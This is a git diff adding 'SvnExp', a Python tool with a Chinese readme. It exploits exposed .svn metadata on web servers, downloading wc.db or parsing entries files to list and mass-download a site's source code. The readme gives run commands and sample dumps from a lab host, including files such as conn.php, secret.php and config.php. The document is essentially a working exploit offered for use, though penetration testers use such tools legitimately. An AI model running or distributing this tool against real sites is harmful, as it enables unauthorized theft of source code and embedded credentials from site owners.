diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py b/svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py new file mode 100644 index 0000000..0c3d771 --- /dev/null +++ b/svn_file_disclosure/SVN 源代码泄露利用工具/SvnExp.py @@ -0,0 +1,301 @@ +#coding=utf-8 + +import requests,threading +import sqlite3,os,re,sys,optparse +from prettytable import PrettyTable + +""" +第三方库:requests,prettytable + * 全局变量定义区 +""" +header={'accept':'text/html,application/xhtml+xml,application/xml', + 'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36', + 'referer':'http://baidu.com'} +table_dump = '' +if sys.version_info < (3, 0): # 兼容py2和py3 + import Queue as queue +else: + import queue + +download_queue = queue.Queue() + +# 下载wc.db +def download_db(url): + db_url = url+"wc.db" + # 判断存放数据库的目录是否存在 + if(not os.path.exists('dbs')): + os.makedirs('dbs') + #匹配url中的host,然后作为文件夹名 + pattern = re.compile(r'(?:\w+\.+)+(?:\w+)') + host = pattern.findall(url) + # 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增 + if(not os.path.exists("dbs/"+host[0])): + os.makedirs("dbs/"+host[0]) + path = "dbs/"+host[0] + else: + i = 1 + while (os.path.exists("dbs/"+host[0]+"("+str(i)+")")): + i = i+1 + os.makedirs("dbs/"+host[0]+"("+str(i)+")") + path = "dbs/"+host[0]+"("+str(i)+")" + + # 组成最终地址 + db_path = path+"/wc.db" + # 下载数据库 + res = requests.get(db_url,headers=header) + if res.status_code!=200: + print("[-] 未找到%s/wc.db"%url) + sys.exit() + with open(db_path,"wb") as file: + file.write(res.content) + return db_path + +# 连接数据库,查询数据库 然后把 local_relpath \ kind \ checksum 取出来 +def db_conn(db_path): + try: + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + cursor.execute("select local_relpath,kind,checksum from NODES") + values = cursor.fetchall() + return values + except: + print("[-] wc.db连接失败!") + +def print_values(values): + #print("[+] 文件名 | 文件类型 | checksum") + table = PrettyTable(["文件名","文件类型","CheckSum"]) + for v in values: + if v[0] : + #print("[+] %s %s %s" %(v[0],v[1],v[2])) + table.add_row([v[0],v[1],v[2]]) + table.sort_key("CheckSum") + table.reversesort = True + print(table) + +# 用queue存放values中的记录,供下载源码使用 +def gen_queue(values): + global download_queue + for v in values: + if v[0]: + download_queue.put(v) + +def down_file(url,db_path): + # 获取下载后保存的本地地址 + path = os.path.dirname(db_path) # dbs/127.0.0.1 + + while not download_queue.empty(): # 如果queue不为空 + value = download_queue.get() + #print(value) + #sys.exit() + if value[1]=="dir": + if not os.path.exists(path +"/"+ value[0]): + try: + os.makedirs(path +"/"+ value[0]) + except: + pass + else: + # 如果checksum == None 说明文件已经被删除 + if value[2] == None: + continue + # 处理checksum + checksum = value[2][6:] + url_file = url+"pristine/"+checksum[:2]+"/"+checksum+".svn-base" + file_uri = ".svn/pristine/"+checksum[:2]+"/"+checksum+".svn-base" + #print(url_file) + # 下载代码 + global table_dump + try: + res = requests.get(url_file,headers=header) + except: + #print("[-] 下载%s失败!" %url_file) + table_dump.add_row([value[0],file_uri,'下载失败']) + continue + if not os.path.exists(os.path.dirname(path+"/"+value[0])): + try: + os.makedirs(os.path.dirname(path+"/"+value[0])) + except: + pass + with open(path+"/"+value[0],"wb") as file : + file.write(res.content) + #global table_dump + table_dump.add_row([value[0], file_uri, '下载成功']) + download_queue.task_done() # 通知队列已消费完该任务 + +def banner(): + print(""" ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +SvnExploit - Dump the source code by svn + +""") + +def svnMoreThan1_7(url,isdump): + # svn > 1.7 + db_path = download_db(url) + values = db_conn(db_path) + # 判断是否要dump + if not isdump: + print_values(values) + else: + global table_dump + global download_queue + table_dump = PrettyTable(['文件名','URL','下载状态']) + print_values(values) + gen_queue(values) + threads = [] + for i in range(options.thread_num): + thread = threading.Thread(target=down_file, args=(url, db_path,)) + thread.start() + threads.append(thread) + for thread in threads: + thread.join() + + print("[+] 已经Dump完成!") + +def SvnVersion(url): + # if SVN version > 1.7 return True ,else return false + url = url + 'entries' + res = requests.get(url,headers=header) + #print(res.text) + if b'12\n' == res.content: + return True + else: + return False + +class SvnLessThan1_7: + def __init__(self,url): + self.url = url + # http://192.168.1.128/.svn/ + self.file_list = [] + self.dir_list = [] + self.flag = False + #print(url) + # 解析entries + def entries(self,url,dir): + #print(1) + res = requests.get(url,headers=header) + list = res.text.split('\n') + i = 0 + for data in list: + + if data == "file": + if list[i-1]: + if dir: + self.file_list.append(dir+'/'+list[i-1]) + else: + self.file_list.append(list[i - 1]) + #print(dir+list[i-1]) + elif data == "dir": + if list[i-1]: + if dir: + self.dir_list.append(dir+'/'+list[i-1]) + else: + self.dir_list.append(list[i-1]) + self.flag = True + i = i+1 + # 循环解析entries + def forloop(self): + for dir in self.dir_list: + #print(os.path.dirname(os.path.dirname(self.url))+dir+'.svn/entries') + self.entries(os.path.dirname(os.path.dirname(self.url))+'/'+dir+'/.svn/entries',dir) + + # print file + def print_file(self): + #print(1) + self.entries(self.url+'entries','') + if self.flag: + self.forloop() + table = PrettyTable(['文件名','文件类型','URL']) + for name in self.file_list: + #print(name) + table.add_row([name,'file', + os.path.dirname(name)+'/.svn/text-base/'+os.path.basename(name)+'.svn-base' + ]) + table.sort_key("URL") + table.reversesort = True + print(table) + + def dumpFile(self): + if (not os.path.exists('dbs')): + os.makedirs('dbs') + # 匹配url中的host,然后作为文件夹名 + pattern = re.compile(r'(?:\w+\.+)+(?:\w+)') + host = pattern.findall(self.url) + # 判断host 这个目录是否存在,如果存在的话就创建 host(i) i 递增 + if (not os.path.exists("dbs/" + host[0])): + os.makedirs("dbs/" + host[0]) + path = "dbs/" + host[0] + else: + i = 1 + while (os.path.exists("dbs/" + host[0] + "(" + str(i) + ")")): + i = i + 1 + os.makedirs("dbs/" + host[0] + "(" + str(i) + ")") + path = "dbs/" + host[0] + "(" + str(i) + ")" + self.entries(self.url+'entries','') + self.forloop() + #print(self.dir_list) + for dir in self.dir_list: + #print(path+dir) + if not os.path.exists(path+'/'+dir): + os.makedirs(path+'/'+dir) + table = PrettyTable(['文件名','URL','下载状态']) + for file in self.file_list: + if os.path.dirname(file): + file_url =os.path.dirname(os.path.dirname(self.url))+'/'+os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base' + else: + file_url = os.path.dirname(os.path.dirname(self.url)) + os.path.dirname( + file) + '/.svn/text-base/' + os.path.basename(file) + '.svn-base' + res = requests.get(file_url,headers=header) + with open(path+'/'+file,'wb') as f: + f.write(res.content) + table.add_row([file, + os.path.dirname(file)+'/.svn/text-base/'+os.path.basename(file)+'.svn-base', + '下载成功' + ]) + table.sort_key('URL') + table.reversesort=True + print(table) + + +def svnLessThan1_7(url,isdump): + svn = SvnLessThan1_7(url) + #print(1) + if not isdump: + svn.print_file() + else: + svn.dumpFile() + +if __name__ == '__main__': + """ + 命令行参数: + svnExp.py -u TargetURL [--dump --thread 5] + """ + opt = optparse.OptionParser() + opt.add_option("-u","--url",action="store",dest="url",help="TargetURL e.g.http://url/.svn") + opt.add_option("--thread",action="store",dest="thread_num",type="int",default=5, + help="The thread num default is 5") + opt.add_option("--dump",action="store_true",dest="dump", + help = "Dump file") + (options, args) = opt.parse_args() + if len(sys.argv) <2 : + banner() + print("example: SvnExploit.py -u http://192.168.27.128/.svn --dump") + sys.exit() + banner() + if not options.url: + print("[-] URL Error!") + url = options.url + # 在拿到url后判断后面是否有/ 如果没有就加上 + re_ = re.compile(r'[\w\.\/\:]+/$') + if not re_.search(url): + url = url+"/" + # Get the svn version + Sversion = SvnVersion(url) + + if Sversion: + svnMoreThan1_7(url,options.dump) + else: + svnLessThan1_7(url,options.dump) diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png b/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png new file mode 100644 index 0000000..863a1a0 Binary files /dev/null and b/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnGR1.7.png differ diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png b/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png new file mode 100644 index 0000000..f2069f2 Binary files /dev/null and b/svn_file_disclosure/SVN 源代码泄露利用工具/images/svnLE1.7.png differ diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/readme.md b/svn_file_disclosure/SVN 源代码泄露利用工具/readme.md new file mode 100644 index 0000000..b9fdc9e --- /dev/null +++ b/svn_file_disclosure/SVN 源代码泄露利用工具/readme.md @@ -0,0 +1,153 @@ +# SVN 源代码泄露利用工具 + +>SvnExp是一款SVN源代码利用工具,其完美支持SVN<1.7版本和SVN>1.7版本的SVN源代码泄露,更多请阅读: + + +## Useage +安装依赖库 + +``` +sudo pip install -r requirements.txt +``` + +查看帮助 +``` +python svnExp.py -h +``` + +检测SVN源代码泄露 +``` +python svnExp.py -u http://192.168.27.128/.svn +``` + +下载源代码 +``` +python svnExp.py -u http://192.168.27.128/.svn --dump +``` +## Example +### svn > 1.7版本 +![svn >1.7](images/svnGR1.7.png) + +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/ + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn +Author: AdminTony (http://admintony.com) +https://github.com/admintony/svnExp + + ++--------------------+----------+------------------------------------------------+ +| 文件名 | 文件类型 | CheckSum | ++--------------------+----------+------------------------------------------------+ +| conn.php | file | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 | +| trunk | dir | None | +| branches | dir | None | +| admin_login.php | file | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 | +| phpmyadmin | file | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 | +| README.TXT | file | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 | +| README.txt | file | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 | +| secret.php | file | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 | +| README.md | file | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b | +| img/login_bg01.jpg | file | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd | +| img | dir | None | +| index.php | file | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 | +| test.sql | file | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 | +| admin.php | file | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f | +| document | dir | None | +| tags | dir | None | ++--------------------+----------+------------------------------------------------+ +``` + +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn + ++--------------------+--------------------------------------------------------------------+----------+ +| 文件名 | URL | 下载状态 | ++--------------------+--------------------------------------------------------------------+----------+ +| conn.php | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 | +| README.TXT | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 | +| README.txt | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 | +| phpmyadmin | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 | +| secret.php | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 | +| README.md | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 | +| admin_login.php | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 | +| index.php | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 | +| admin.php | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 | +| test.sql | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 | +| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 | ++--------------------+--------------------------------------------------------------------+----------+ +[+] 已经Dump完成! +``` + +## svn < 1.7版本 + +![svn<1.7](images/svnLE1.7.png) +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/ + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn + ++---------------------+----------+---------------------------------------------+ +| 文件名 | 文件类型 | URL | ++---------------------+----------+---------------------------------------------+ +| favicon.ico | file | /.svn/text-base/favicon.ico.svn-base | +| index.html | file | /.svn/text-base/index.html.svn-base | +| phpinfo.php | file | /.svn/text-base/phpinfo.php.svn-base | +| shell.php | file | /.svn/text-base/shell.php.svn-base | +| config/config.php | file | config/.svn/text-base/config.php.svn-base | +| css/add.css | file | css/.svn/text-base/add.css.svn-base | +| css/colorbox.css | file | css/.svn/text-base/colorbox.css.svn-base | +| css/company.css | file | css/.svn/text-base/company.css.svn-base | +| images/btn_back.png | file | images/.svn/text-base/btn_back.png.svn-base | +| images/gitf.png | file | images/.svn/text-base/gitf.png.svn-base | +| js/common.js | file | js/.svn/text-base/common.js.svn-base | +| js/jquery.min.js | file | js/.svn/text-base/jquery.min.js.svn-base | +| js/loop.js | file | js/.svn/text-base/loop.js.svn-base | ++---------------------+----------+---------------------------------------------+ +``` + +``` +python .\svnExp.py -u http://192.168.27.128/unit-2/lab2/.svn/ --dump + ____ _____ _ _ _ +/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_ +\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __| + ___) \ V /| | | | |___ > <| |_) | | (_) | | |_ +|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__| + |_| +svnExp - Dump the source code by svn + ++---------------------+---------------------------------------------+----------+ +| 文件名 | URL | 下载状态 | ++---------------------+---------------------------------------------+----------+ +| favicon.ico | /.svn/text-base/favicon.ico.svn-base | 下载成功 | +| index.html | /.svn/text-base/index.html.svn-base | 下载成功 | +| phpinfo.php | /.svn/text-base/phpinfo.php.svn-base | 下载成功 | +| shell.php | /.svn/text-base/shell.php.svn-base | 下载成功 | +| config/config.php | config/.svn/text-base/config.php.svn-base | 下载成功 | +| css/add.css | css/.svn/text-base/add.css.svn-base | 下载成功 | +| css/colorbox.css | css/.svn/text-base/colorbox.css.svn-base | 下载成功 | +| css/company.css | css/.svn/text-base/company.css.svn-base | 下载成功 | +| images/btn_back.png | images/.svn/text-base/btn_back.png.svn-base | 下载成功 | +| images/gitf.png | images/.svn/text-base/gitf.png.svn-base | 下载成功 | +| js/common.js | js/.svn/text-base/common.js.svn-base | 下载成功 | +| js/jquery.min.js | js/.svn/text-base/jquery.min.js.svn-base | 下载成功 | +| js/loop.js | js/.svn/text-base/loop.js.svn-base | 下载成功 | ++---------------------+---------------------------------------------+----------+ +``` \ No newline at end of file diff --git a/svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt b/svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt new file mode 100644 index 0000000..9cd076b --- /dev/null +++ b/svn_file_disclosure/SVN 源代码泄露利用工具/requirements.txt @@ -0,0 +1,2 @@ +requests +prettytable